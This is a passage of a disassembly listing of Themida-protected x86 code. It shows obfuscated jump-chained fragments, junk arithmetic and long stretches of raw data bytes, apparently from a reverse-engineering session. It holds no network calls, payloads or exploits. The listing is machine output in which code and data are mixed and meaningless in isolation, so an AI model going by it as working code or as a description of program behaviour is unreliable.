; ---------------------------------------------------------------------------
		db 1, 0C8h, 59h
aVsD		db 'VéêD',0
		align 2


loc_5449A6:				; CODE XREF: Themida_:00544E5Bj
		xchg	edx, [esp]
		pop	esp
		mov	ebp, [esp]
		push	edx
		jmp	loc_54B287
; ---------------------------------------------------------------------------


loc_5449B3:				; CODE XREF: Themida_:0054A199j
		mov	ebx, 142318FAh
		jmp	loc_54C9F8
; ---------------------------------------------------------------------------


loc_5449BD:				; CODE XREF: Themida_:0055731Ej
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_550DC1
; ---------------------------------------------------------------------------
		dd 0D40A1E05h, 2DE8015Dh, 5DD40A1Eh, 0E9242C8Bh, 0FFFFDFDDh
; ---------------------------------------------------------------------------


loc_5449DC:				; CODE XREF: Themida_:0054F5BEj
		mov	ebx, [esp]
		jmp	loc_545537
; ---------------------------------------------------------------------------


loc_5449E4:				; CODE XREF: Themida_:00542E97j
		add	esp, 2
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h,	0C3h, 83h
		dd 348904ECh, 2474FF24h, 2D3FE904h, 0DFF70000h,	8106EFC1h
		dd 4F425DF7h, 0BA30E927h, 0C4830000h, 0F5EF8004h, 7CB45066h
		dd 0C01BF480h, 8AE906ECh, 590000F9h, 6075EB81h,	0F3012E51h
		dd 6075C381h, 835E2E51h, 72E904C3h, 54000014h, 4C3815Bh
		dd 81000000h, 4EBh, 241C8700h, 0FFEC5EE9h, 81D701FFh, 2F1824C7h
		dd 3C875A3Fh, 24248B24h, 7269E9h
		db 0
; ---------------------------------------------------------------------------


loc_544A65:				; CODE XREF: Themida_:00551A81j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5558FF
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aXs7		db 'Xé$7',0
		align 2


loc_544A7A:				; CODE XREF: Themida_:0054B642j
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		jmp	loc_5430FB
; ---------------------------------------------------------------------------
		db 2Dh
		dd 0B8663D1h, 0D105D801h, 510B8663h, 0FE683CB9h, 4A06829h
		dd 4890000h, 51685224h,	0E907F942h, 0FFFFEDE3h,	0CC03AC2Dh
		dd 58C52151h, 4F8DC581h, 0E5812A8Fh, 634E5E68h,	2BA7E581h
		dd 0C5811A3Bh, 9BD14C7h, 2C8BE931h, 4C48324h, 0B5C18141h
		dd 295B3F08h, 0C58159CBh, 5C180276h, 0BE56DD01h, 5C180276h
		dd 0F3E2E9h, 62B9BD00h,	0DDF72D09h, 8E5C14Dh, 701F581h
		dd 0BB53023Eh, 1A9003E7h, 815BDD21h, 0FEBD5AEDh, 0B19BE90Bh
		dd 0C1810000h, 4, 4C181h, 0FF510000h, 59042474h, 0B31CE9h
		dd 0E9C7FE00h, 0E536h, 0B3535866h, 3E3C091h, 43F1E9h
		db 0
; ---------------------------------------------------------------------------


loc_544B41:				; CODE XREF: Themida_:0054A458j
		push	ebx
		jmp	loc_54D3C1
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 240C8700h, 0E84E95Ch
		db 1, 0
; ---------------------------------------------------------------------------


loc_544B56:				; CODE XREF: Themida_:00545836j
		not	ebp
		dec	ebp
		jmp	loc_549DB9
; ---------------------------------------------------------------------------
		dw 0E581h
		dd 50BF0114h, 10C6E9h, 7EB8100h, 519FAB8h, 7B560209h, 351FF405h
		dd 15BA5214h, 0F72DE369h, 3EAC1D2h, 0C2814A42h,	2FC29469h
		dd 95E9D029h, 8B00002Dh, 0E9522414h, 0FD51h, 88240C89h
		dd 8BCA88F9h, 0C481240Ch, 4, 0E92434FFh, 7A0Ah,	0E9241C89h
		dd 0FFFFDFE8h, 5320B252h, 0D3E9D388h, 6600006Eh, 68240C8Bh
		dd 77B4h, 81243489h, 4ECh, 24248900h, 4240481h,	8B000000h
		dd 0F6E92434h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_544BEB:				; CODE XREF: Themida_:00556357j
		xor	edi, ebx
		pop	ebx
		or	edi, 24401616h
		jmp	loc_544997
; ---------------------------------------------------------------------------


loc_544BF9:				; CODE XREF: Themida_:005547F5j
		sub	[esp+4], ebp
		sub	dword ptr [esp+4], 7C5557A4h
		push	0AAFh
		mov	[esp], ebp
		mov	ebp, 2F4E5324h
		jmp	loc_547D19
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812414h, 4, 3C52CA81h, 0EA81303Fh, 62B2E774h, 0CDE9D331h
		dd 66000126h, 806FB050h, 0C32820EBh, 10678E9h
		db 0
; ---------------------------------------------------------------------------


loc_544C41:				; CODE XREF: Themida_:00553559j
		pop	esi
		jmp	loc_55592A
; ---------------------------------------------------------------------------


loc_544C47:				; CODE XREF: Themida_:0054E85Dj
		pop	edi
		push	ebx
		mov	ebx, 0BF01B8h
		shl	ebx, 8
		push	ebp
		push	eax
		mov	eax, 4CA904CDh
		mov	ebp, 1A9E515Fh
		add	ebp, eax
		jmp	loc_54BC8D
; ---------------------------------------------------------------------------


loc_544C64:				; CODE XREF: Themida_:00554D32j
		push	edi
		mov	edi, 33612B12h
		xor	edi, 58C3364Ah
		not	edi
		jmp	loc_550882
; ---------------------------------------------------------------------------
		db 1
		dd 0B1E95FF9h, 8B00009Eh, 89522404h, 4C281E2h, 81000000h
		dd 4C2h, 35E95200h, 0B90000A4h,	0AB5096Bh, 1E981h, 0E9C10000h
		dd 82685004h, 583CE608h, 0ACCAE9h
		db 0
; ---------------------------------------------------------------------------


loc_544CB1:				; CODE XREF: Themida_:00551DD6j
		xor	eax, 0A889F73Dh
		jmp	loc_543198
; ---------------------------------------------------------------------------
		db 29h
		dd 0FD30E9CEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544CC2:				; CODE XREF: Themida_:0054C967j
		xor	ecx, 74AA1DA3h
		add	ecx, 8C20E28Dh
		mov	eax, ecx
		pop	ecx
		add	eax, edi
		push	6A27h
		mov	[esp], ecx
		mov	ecx, 0
		sub	ecx, 27156985h
		sub	ecx, 79C172C2h
		sub	ecx, 408C3A96h
		add	ecx, eax
		push	esi
		mov	esi, 408C3A96h
		add	ecx, esi
		pop	esi
		push	5333h
		mov	[esp], edi
		push	ecx
		push	13957327h
		pop	ecx
		shr	ecx, 4
		jmp	loc_552DBA
; ---------------------------------------------------------------------------
		dd 4240483h, 7404E9h
		db 0
; ---------------------------------------------------------------------------


loc_544D1D:				; CODE XREF: Themida_:0054A646j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_54C8A2
; ---------------------------------------------------------------------------


loc_544D29:				; CODE XREF: Themida_:00550908j
		mov	eax, 7852137Ch
		push	esi
		mov	esi, 0E3D543DEh
		add	eax, esi
		pop	esi
		jmp	loc_549F77
; ---------------------------------------------------------------------------
		dd 4C481h, 0F8290000h, 3BBD555Fh, 1353028h, 0DBB9E9E8h
		dd 0E2890000h, 4C281h, 0E0680000h, 0E9000036h, 1160Ch
		dd 0DF1BEFBAh, 5AD63179h, 3337B951h, 0F0E91E0Bh, 5E0000B0h
		dd 4C681h, 6C680000h, 89000016h, 4BD242Ch, 0E9000000h
		dd 103EEh, 2434875Bh, 2B8505Ch,	250C2941h, 5ADE6183h, 7605D8F7h
		dd 513FA27Ah, 10804E9h,	7D436800h, 14890000h, 148B5824h
		dd 5F84E924h, 248B0000h, 24040924h, 0D942E99Ch,	5166FFFFh
		dd 0D5F6E588h, 5966EC88h, 0B4505366h, 58E788A2h, 5B66FC00h
		dd 8358E700h, 0B1E904ECh, 0FEFFFFFDh, 7E4C0C4h,	0E9FFC480h
		dd 73A6h
; ---------------------------------------------------------------------------


loc_544DF8:				; CODE XREF: Themida_:00553065j
		add	ecx, 25691706h
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		push	3D54h
		jmp	loc_544FA6
; ---------------------------------------------------------------------------
		dw 1487h
aRhz5		db '$\Rhz5',0
		align 4
		dd 0B9240C89h, 0E0C10B1h, 6833E9h
		db 0
; ---------------------------------------------------------------------------


loc_544E25:				; CODE XREF: Themida_:00553F3Dj
		pop	esp
		push	eax
		push	ebp
		jmp	loc_5546CB
; ---------------------------------------------------------------------------


loc_544E2D:				; CODE XREF: Themida_:005547B4j
		add	ebx, edi
		jmp	loc_547A3E
; ---------------------------------------------------------------------------
		dd 5C241487h, 0E9242C89h, 2D31h
; ---------------------------------------------------------------------------


loc_544E40:				; CODE XREF: Themida_:005471A0j
		xchg	ecx, [esp]
		pop	esp
		and	ecx, 7EED0D07h
		not	ecx
		shr	ecx, 7
		jmp	loc_54F6C1
; ---------------------------------------------------------------------------


loc_544E54:				; CODE XREF: Themida_:00551E88j
		pop	eax
		add	edx, 4
		jmp	loc_5449A6
; ---------------------------------------------------------------------------
		dd 24048F66h, 242C8B66h, 8904EC83h, 0E2892414h,	4C281h
		dd 0C2830000h, 24148702h, 2C31665Ch, 2D5EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544E86:				; CODE XREF: Themida_:0054B1D8j
		sub	esp, 4
		jmp	loc_5479D0
; ---------------------------------------------------------------------------


loc_544E8E:				; CODE XREF: Themida_:0055510Ej
		mov	ebp, [esp]
		jmp	loc_54E746
; ---------------------------------------------------------------------------


loc_544E96:				; CODE XREF: Themida_:005431F8j
		mov	ebx, [esp]
		push	7FE3h
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		push	58BAh
		mov	[esp], eax
		jmp	loc_546E40
; ---------------------------------------------------------------------------
		dw 0C380h
		dd 5BD80874h, 2EE9FF2Ch, 810000EDh, 4C4h, 37036800h, 0BAE90000h
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_544ED3:				; CODE XREF: Themida_:00543F8Fj
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54995B
; ---------------------------------------------------------------------------
aPA5kS5S1Xs	db 'P¸ 5k',0Dh,'Ñè5ÅÞ˜/1ÂXé³!',0
		db 0
; ---------------------------------------------------------------------------


loc_544EF7:				; CODE XREF: Themida_:005435EAj
		shl	eax, 5
		add	eax, 633DCF00h
		sub	ebx, eax
		pop	eax
		sub	ebx, edx
		push	edx
		mov	edx, 6BE42B40h
		add	ebx, edx
		pop	edx
		sub	ebx, 5D4D50E7h
		mov	edx, [esp]
		jmp	loc_54D7F8
; ---------------------------------------------------------------------------
		db 31h
		dd 2C33242Ch, 24248B24h, 34F5E9h
		db 0
; ---------------------------------------------------------------------------


loc_544F29:				; CODE XREF: Themida_:0054C452j
		push	ebx
		mov	ebx, esp
		jmp	loc_546F34
; ---------------------------------------------------------------------------
		db 86h,	0D7h, 0C0h
		dd 18E903EFh, 5E0000F4h, 538AE9h
		db 0, 68h
word_544F42	dw 4D75h		; DATA XREF: ___:off_4274E0o
		dd 3C890000h, 242C8124h, 2F234269h, 8124148Bh, 4C4h, 33E95500h
		db 0E5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_544F5F:				; CODE XREF: Themida_:00554C4Cj
		push	568Ch
		mov	[esp], ebp
		push	800h
		pop	ebp
		push	59CBh
		mov	[esp], ebp
		jmp	loc_551AAB
; ---------------------------------------------------------------------------


loc_544F7A:				; CODE XREF: Themida_:00554A9Dj
		pop	edx
		jmp	loc_545CD7
; ---------------------------------------------------------------------------
		dd 0EFE9FD29h, 5F00009Ah, 4C781h, 0C7810000h, 4, 5C243C87h
		dd 8704C383h, 248B241Ch, 9E6FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544FA6:				; CODE XREF: Themida_:00544E09j
		mov	[esp], ecx
		mov	ecx, 178379F2h
		neg	ecx
		xor	ecx, 73EC021Eh
		push	edi
		mov	edi, 9B908414h
		xor	ecx, edi
		jmp	loc_555028
; ---------------------------------------------------------------------------
		db 81h
		dd 0F2F406EDh, 5DE9013Ah, 3547C681h, 0CE012984h, 3547EE81h
		dd 50592984h, 0A8DBA52h, 0E2817429h, 5E7B3730h,	6C1CA81h
		dd 0EAC128F4h, 1FF28106h, 8901F3F4h, 431AE9D0h,	0E9510000h
		dd 0FFFFDDF0h, 6824048Bh, 6D3Ch, 54243C89h, 0F700E9h, 48B6600h
		dd 20685724h, 89000043h, 4812424h, 424h, 1D685F00h, 89000063h
		dd 0A3E9240Ch, 8B00005Ch, 0C481241Ch, 4, 4C781h, 0E9570000h
		dd 0FFFFF238h, 89243489h, 0E68956E6h, 8904EC83h, 69E92414h
		dd 810000C9h, 4ECh, 243C8900h, 5F97E9h
		db 0
; ---------------------------------------------------------------------------


loc_54506D:				; CODE XREF: Themida_:00543A60j
		pop	esi
		jmp	loc_553738
; ---------------------------------------------------------------------------
		db 5Ah
		dd 827A8A05h, 58C12975h, 4A59CA89h, 63E9DAF7h
		db 9, 1, 0
; ---------------------------------------------------------------------------


loc_545087:				; CODE XREF: Themida_:0054F5AAj
		add	esp, 4
		jmp	loc_54733F
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 1C895C24h, 4BB24h, 3E90000h,	5400001Fh, 4C7815Fh, 83000000h
		dd 3C8704C7h, 0C3005C24h, 52EBC380h, 0CA80BFB2h, 80DAF663h
		dd 0B151F5EAh, 9AF180A2h, 8059CA28h, 0D328E3EAh, 2023E95Ah
		dd 0C3000001h, 5124048Bh, 5BE2E954h, 59680000h,	5D13C20Dh
		dd 3B61C581h, 0EF895963h, 0E8E9505Dh
		db 0B2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5450F7:				; CODE XREF: Themida_:005500ECj
		pop	ebx
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		mov	ebx, 4
		jmp	loc_552550
; ---------------------------------------------------------------------------
		db 0B2h, 6, 80h
		dd 0DAF64AF2h, 80B2F280h, 0D528CEF2h, 59E8005Ah, 0FFDF93E9h
		dd 405FFh, 42D0000h, 0E9000000h, 5F87h
; ---------------------------------------------------------------------------


loc_545130:				; CODE XREF: Themida_:0055337Dj
		add	ecx, 4
		jmp	loc_5553BE
; ---------------------------------------------------------------------------


loc_545138:				; CODE XREF: Themida_:0054BE26j
		add	ecx, 3A6A7B7Bh
		jmp	loc_543B91
; ---------------------------------------------------------------------------
		db 0B9h
		dd 661C641Bh, 4907E1C1h, 0F285C181h, 0CE01F1CDh, 24348759h
		dd 2224E95Ch, 0E9890001h, 24348B5Dh, 0D104C483h, 0E98341E9h
		dd 28C18101h, 315BE6ECh, 454559CDh, 52ADE953h, 0C1010000h
		dd 2CC46858h, 14890000h, 10BF5724h, 814F3155h, 732EA7F7h
		dd 5FFA8941h, 0BE56h, 0DBE90000h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5451A3:				; CODE XREF: Themida_:005485CAj
		pop	edx
		push	7DE5h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 78FE689Bh
		dec	ebp
		not	ebp
		sub	ebp, 5FC6048Ah
		jmp	loc_55438E
; ---------------------------------------------------------------------------
		dd 70D2BB53h, 0D901201Ch, 0BBBEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5451D5:				; CODE XREF: Themida_:00550BB9j
		shl	edx, 8
		sub	edx, 0A684B8AEh
		mov	edi, edx
		pop	edx
		push	edx
		mov	edx, 7C6430A4h
		mov	ebp, edx
		mov	edx, [esp]
		jmp	loc_556517
; ---------------------------------------------------------------------------
		db 0BEh, 95h, 66h
		dd 52E936FDh, 0FF00011Eh, 5F042474h, 8B24048Fh,	0F1F72424h
		dd 2D1268h, 241C8900h, 5DCBE952h, 0E1810000h, 15D122CCh
		dd 0A82CF181h, 0CD01D99Ch, 0DE64E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54522A:				; CODE XREF: Themida_:0055759Bj
		sub	ebp, ebx
		jmp	loc_55456F
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0BDh
		dd 814D9E55h, 2F0504C5h, 37C58143h, 5849210Dh, 546568h
		dd 241C8900h, 4EC81h, 34890000h, 5DC6E924h, 74FF0000h
		dd 8F5F0424h, 248B2404h, 4EC8124h, 89000000h, 88BD242Ch
		dd 0E937ED2Dh, 0C48Ah, 81E78957h, 4C7h,	4EF8100h, 87000000h
		dd 895C243Ch, 0CD89242Ch, 3CE9EA89h, 66FFFFF5h,	8124048Bh
		dd 4ECh, 241C8900h, 0B068E389h,	8900007Eh, 2868243Ch, 0E97AC022h
		dd 0FFFFED7Ah, 3442BA52h, 0C2814490h, 0AB1FABBAh, 258E9h
		dd 81E18900h, 4C1h, 4C18300h, 2474FF51h, 0A39FE904h, 0BA520000h
		dd 0FB25594h, 5D96E9h, 2EC8300h, 240C8966h, 100DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5452F5:				; CODE XREF: Themida_:00553B99j
		add	ecx, ebp
		sub	ecx, 3E191930h
		sub	ecx, 73C902C6h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_553403
; ---------------------------------------------------------------------------
aSn		db '^én%',0
		dw 500h
		dd 4, 0E904E883h, 0A7D6h
; ---------------------------------------------------------------------------


loc_545324:				; CODE XREF: Themida_:0054A236j
		sub	eax, 2E310F42h
		jmp	loc_553802
; ---------------------------------------------------------------------------


loc_54532E:				; CODE XREF: Themida_:005564CBj
		push	ebx
		mov	ebx, 28A70739h
		shr	ebx, 7
		shr	ebx, 8
		sub	ebx, 0AA75E5E5h
		sub	esi, ebx
		pop	ebx
		pop	ebp
		add	esi, 4
		xchg	esi, [esp]
		pop	esp


loc_54534E:				; DATA XREF: ___:off_43664Co
		jmp	loc_54775A
; ---------------------------------------------------------------------------
		db 89h
		dd 9C2D59CFh, 139A338h,	389C05F8h, 34FF39A3h, 243C8B24h
		dd 8104C483h, 4C4h, 0DBE3E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545376:				; CODE XREF: Themida_:00555888j
		pop	ecx
		add	ecx, edx
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_54984A
; ---------------------------------------------------------------------------


loc_545385:				; CODE XREF: Themida_:00546F2Fj
		mov	esi, [esp]
		add	esp, 4
		push	4A55h
		jmp	loc_55659D
; ---------------------------------------------------------------------------
		dd 4C4835Dh, 645DE9h, 240C3300h, 6824248Bh, 4941h, 52240C89h
		dd 0D8BE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5453B6:				; CODE XREF: Themida_:0054C3F2j
		pop	eax
		jmp	loc_5464D1
; ---------------------------------------------------------------------------
aYsst		db 'Yésâ',0
		align 2
		dw 0C783h
		dd 0C4C781FFh, 1EEDFEFh, 243C8BFBh, 4C481h, 0B8500000h
		dd 2, 0E958C301h, 6882h, 33243431h, 34312434h, 0D93E924h
		dd 0C7810000h, 1D47FBBh, 73BFE781h, 0EF812B85h,	87651AD5h
		dd 0FFDCE3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_545409:				; CODE XREF: Themida_:00546424j
		mov	esi, ebp
		pop	ebp
		add	ebx, 666F6890h
		sub	ebx, esi
		jmp	loc_55487C
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0F2h
		dd 0F7530337h, 2E0C1D0h, 27609F2Dh, 0BF932D14h,	0C7019FCBh
		dd 243C8758h, 513CE9h
		db 0
; ---------------------------------------------------------------------------


loc_545439:				; CODE XREF: Themida_:00554802j
		popf
		retn
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFD2CCh
; ---------------------------------------------------------------------------


loc_545440:				; CODE XREF: Themida_:005530DAj
		mov	ebx, 746453A5h
		push	492Fh
		mov	[esp], ebx
		mov	ebx, 41F24C2Ch
		shr	ebx, 2
		and	ebx, 388B53CDh
		add	ebx, 23520101h
		sub	esi, ebx
		pop	ebx
		jmp	loc_542E37
; ---------------------------------------------------------------------------


loc_545469:				; CODE XREF: Themida_:00555D54j
		pop	ebx
		inc	esi
		push	74E1h
		mov	[esp], eax
		mov	eax, 3D6A37B8h
		dec	eax
		dec	eax
		jmp	loc_543402
; ---------------------------------------------------------------------------


loc_54547F:				; CODE XREF: Themida_:005566E4j
		push	eax
		jmp	loc_549444
; ---------------------------------------------------------------------------
		db 0F7h, 0D6h, 81h
		dd 2B0362EEh, 0B6B9515Fh, 0E90B2259h, 0AA4Ch, 6CF3E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54549E:				; CODE XREF: Themida_:0054E227j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		div	cx
		push	small 101Bh
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_54270C
; ---------------------------------------------------------------------------
		dw 6843h
		align 10h
		dd 0E9241C29h, 0FFFFE63Bh, 0C681E689h, 4, 11755E9h
		db 0
; ---------------------------------------------------------------------------


loc_5454E5:				; CODE XREF: Themida_:00552DCBj
		push	edi
		mov	edi, 7B5458DEh
		mov	ebx, edi
		pop	edi
		jmp	loc_54CFCC
; ---------------------------------------------------------------------------
		db 0FFh
		dd 48B2434h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		add	ebp, 4
		jmp	loc_54D0DB
; ---------------------------------------------------------------------------


loc_545510:				; CODE XREF: Themida_:00553684j
		pop	edi
		jmp	loc_547EB9
; ---------------------------------------------------------------------------
		dw 0D001h
		dd 4E8835Ah, 1C8FE9h, 88C68100h, 0E92D9601h, 0B189h, 5A45EF81h
		dd 0A0E91CFFh
		db 0D3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_545537:				; CODE XREF: Themida_:005449DFj
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_54ED6E
; ---------------------------------------------------------------------------


loc_545547:				; CODE XREF: Themida_:005560DBj
		sub	cx, 5CC8h
		jmp	loc_54DD13
; ---------------------------------------------------------------------------
		db 0F7h, 0D3h, 81h
		dd 7878A9E3h, 92C38146h, 895D6607h, 241C8BDFh, 5E08950h
		dd 4, 8704C083h, 15C2404h, 0A461E9FEh, 0E1BD0000h, 0C171E779h
		dd 0FBE904E5h, 8100006Ah, 85BBBCE9h, 96B5E929h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545592:				; CODE XREF: Themida_:00544893j
		xor	bh, 0BFh
		xor	bh, 81h
		jmp	loc_55763A
; ---------------------------------------------------------------------------


loc_54559D:				; CODE XREF: Themida_:005536B5j
		pop	esp
		push	3127h
		mov	[esp], edi
		push	800h
		pop	edi
		and	eax, edi
		jmp	loc_553205
; ---------------------------------------------------------------------------
		db 89h
		dd 405E0h, 0C0830000h, 24048704h, 3124248Bh, 0EC815EF0h
		dd 4, 53240C89h, 0CA2C27BBh, 7F21B946h,	0D929C482h, 0B9AFE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5455E2:				; CODE XREF: Themida_:0055181Cj
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	esp
		jmp	loc_5505EB
; ---------------------------------------------------------------------------
aS_5		db '±Íé{Ù',0
		align 4
		dd 5A661B2Ch, 1424E9h
		db 0
; ---------------------------------------------------------------------------


loc_545601:				; CODE XREF: Themida_:0054DDEFj
		add	edi, ebp
		sub	edi, 6E29714Ch
		pop	ebp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	edi
		push	3D68h
		mov	[esp], eax
		push	esp
		push	dword ptr [esp]
		pop	eax
		jmp	loc_547122
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 8Bh
		dd 68699539h, 18CCh, 52243C89h,	0D789EA89h, 8124148Bh
		dd 4C4h, 5F5A5700h, 5AD5015Dh, 11A08E9h
		db 0
; ---------------------------------------------------------------------------


loc_545659:				; CODE XREF: Themida_:00549C95j
		add	ebx, 570E03A6h
		push	ebx
		jmp	loc_5548D4
; ---------------------------------------------------------------------------
		db 1, 0FDh, 0E9h
		dd 0DB89h, 4C481h, 0CE810000h, 35557C49h, 6072BF57h, 0EF8114BDh
		dd 0FA3C93Fh, 895FFE01h, 24348BF7h, 0FFD257E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_545691:				; CODE XREF: Themida_:0054E4A9j
		pop	esi
		push	edx
		mov	edx, 159E09F9h
		jmp	loc_54643B
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 78h
		dd 81F6DA25h, 0F864CDC5h, 0EEFCE94Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5456AE:				; CODE XREF: Themida_:00546FD9j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_547047
; ---------------------------------------------------------------------------
		dw 27B3h
		dd 0C01DEB80h, 0D3F605E3h, 0D3F6C3FEh, 0E92CB252h, 4EC5h
; ---------------------------------------------------------------------------


loc_5456D0:				; CODE XREF: Themida_:0054D596j
		pop	eax
		add	esp, 4
		push	2256h
		jmp	loc_553372
; ---------------------------------------------------------------------------


loc_5456DE:				; CODE XREF: Themida_:0054AEAAj
		mov	eax, esi
		pop	esi
		jmp	loc_54EB53
; ---------------------------------------------------------------------------
		dw 8142h
		dd 725F1CEAh, 5AD3013Fh, 446BE9h, 3C77FF00h, 31B1B850h
		dd 448138B7h, 59F80424h, 44810B34h, 79700424h, 44296A1Eh
		dd 6C810424h, 79700424h, 0B9516A1Eh, 0B3459F8h,	8244C29h
		dd 53585859h, 0A96353BBh, 0FDE38119h, 0E9003203h, 0BBBCh
		dd 0CAE9D9F7h, 2D00006Dh, 8307AFDh, 11B7E9h, 89F58100h
		dd 0E90E2C3Dh, 11493h, 62CB68h,	242C8900h, 0BF575D54h
		dd 4, 1D49BF57h, 0CF81286Ah, 76BC21DCh,	9AC78147h, 472A6602h
		dd 0E3F78147h, 0E9CAFA53h, 7689h, 8704C483h, 0ABE9240Ch
		dd 54000111h, 0E924048Fh, 0F171h, 5024348Bh, 0D5E9E089h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5457A3:				; CODE XREF: Themida_:00556A82j
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_548AE5
; ---------------------------------------------------------------------------


loc_5457AD:				; CODE XREF: Themida_:0054C484j
		mov	[esp], edx
		push	379h
		push	3F3Dh
		jmp	loc_54BCEA
; ---------------------------------------------------------------------------
		db 80h
		dd 0D128A5F2h, 77E9805Ah, 0C180F900h, 9EB1E977h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5457D2:				; CODE XREF: Themida_:005568A6j
		push	esp
		pop	edi
		add	edi, 4
		push	20Ch
		mov	[esp], ebp
		push	esi
		mov	esi, 1F8A2BECh
		not	esi
		xor	esi, 2F0260DDh
		jmp	loc_54A21C
; ---------------------------------------------------------------------------
		db 29h,	0E8h, 2Dh
		dd 5BC2F9Ch, 4B8D685Dh,	2C890000h, 25DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54580A:				; CODE XREF: Themida_:00556ACEj
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5529A9
; ---------------------------------------------------------------------------


loc_54581B:				; CODE XREF: Themida_:00556F9Dj
		pop	eax
		add	ecx, 0D07B7441h
		mov	ebx, ecx
		pop	ecx
		shl	ebx, 7
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0C723970h
		jmp	loc_544B56
; ---------------------------------------------------------------------------
		db 0BDh
		dd 107A5C15h, 0D041E9h,	0FAEF8100h, 0E9318A58h,	0B994h
		dd 2C9DF281h, 91E949A0h, 50000ABh, 5C6C1607h, 5F2434FFh
		dd 0E9E38953h, 0BAD8h, 2424D35Ch, 0CE96E99Ch, 8B66FFFFh
		dd 0EC832404h, 0F7CAE904h, 0C383FFFFh, 48F38101h, 53544B13h
		dd 5B2414F7h, 0E9FEBF57h, 0FB318E1Dh, 0C87E9h
		db 0
; ---------------------------------------------------------------------------


loc_54589D:				; CODE XREF: Themida_:00554897j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_54D98F
; ---------------------------------------------------------------------------


loc_5458AA:				; CODE XREF: Themida_:005550ADj
		push	edx
		mov	edx, 23B174B6h
		sub	edx, 5C63325Eh
		sub	edx, 0C74E4254h
		jmp	loc_5567CD
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0EC815224h, 4, 81242489h, 42404h, 815A0000h,	4C2h, 4EA8100h
		dd 52000000h, 42474FFh,	8124148Bh, 4C4h, 24048F00h, 0BC5DE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5458FA:				; CODE XREF: Themida_:0054F15Aj
		mov	[esp], edx
		push	small 1C44h
		pop	dx
		jmp	loc_5559A6
; ---------------------------------------------------------------------------


loc_545908:				; CODE XREF: Themida_:00546D7Fj
		pop	edx
		jmp	loc_54F99A
; ---------------------------------------------------------------------------
		dw 6856h
		dd 58030B89h, 0B2EB815Eh, 2958F04Dh, 0B2C381F3h, 0FF58F04Dh
		dd 348B2434h, 616F6824h, 3C890000h, 2008E924h, 0C0090000h
		dd 907A840Fh, 4B680000h, 0E9000053h, 4DAEh, 0E5C2815Eh
		dd 0E9323A24h, 108BCh, 2BFFEF81h, 0DF013635h, 2BFFC781h
		dd 0FD5B3635h, 0A6850h,	0E2E90000h, 5E0000E6h, 6B04BF57h
		dd 0FB01729Bh, 0CEF3815Fh, 579DA95h, 1CD4059Bh,	9B2DD801h
		dd 0E91CD405h, 2316h, 4EC81h, 4890000h,	0E9B5B424h, 0FFFFD15Ah
; ---------------------------------------------------------------------------


loc_5459A0:				; CODE XREF: Themida_:0055676Dj
		add	ecx, esi
		jmp	loc_54C4D3
